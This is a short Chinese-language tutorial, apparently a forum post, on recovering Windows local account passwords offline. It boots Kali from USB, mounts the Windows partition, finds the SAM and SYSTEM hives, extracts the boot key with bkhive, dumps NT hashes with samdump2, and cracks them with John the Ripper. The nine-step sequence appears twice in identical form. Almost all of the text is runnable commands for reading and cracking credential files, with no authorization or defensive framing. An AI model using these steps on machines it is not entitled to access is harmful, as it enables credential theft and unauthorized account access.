由于Windows的SAM密码保护机制,SAM文件在Windows启动后就被保护,所以不能开机后破解。
[quote]1. 使用usb启动kali[/quote]
[quote]2. fdisk -l[/quote]
查看磁盘分区。在我电脑测试时为一个/dev/sda5,文件格式为HPFS/NTFS/exFAT
[quote]3. mount -t ntfs /dev/sda5 /mnt[/quote]
[quote]4. cd /mnt[/quote]
[quote]5. find . -name "*SAM*"[/quote]
找到存放SAM和SYSTEM文件的文件夹
[quote]6. 将SAM和SYSTEM拷贝到工作目录下[/quote]
[quote]7. bkhive SYSTEM bootkey[/quote]
来查看系统boot key,此时工作目录下多出一个bootkey的文件
[quote]8. samdump2 SAM bootkey > hash.txt[/quote]
使用samdump2命令dump出hash值
[quote]9. john ./hash.txt --show --format=nt[/quote]
来破解密码
[quote]1. 使用usb启动kali[/quote]
[quote]2. fdisk -l[/quote]
查看磁盘分区。在我电脑测试时为一个/dev/sda5,文件格式为HPFS/NTFS/exFAT
[quote]3. mount -t ntfs /dev/sda5 /mnt[/quote]
[quote]4. cd /mnt[/quote]
[quote]5. find . -name "*SAM*"[/quote]
找到存放SAM和SYSTEM文件的文件夹
[quote]6. 将SAM和SYSTEM拷贝到工作目录下[/quote]
[quote]7. bkhive SYSTEM bootkey[/quote]
来查看系统boot key,此时工作目录下多出一个bootkey的文件
[quote]8. samdump2 SAM bootkey > hash.txt[/quote]
使用samdump2命令dump出hash值
[quote]9. john ./hash.txt --show --format=nt[/quote]
来破解密码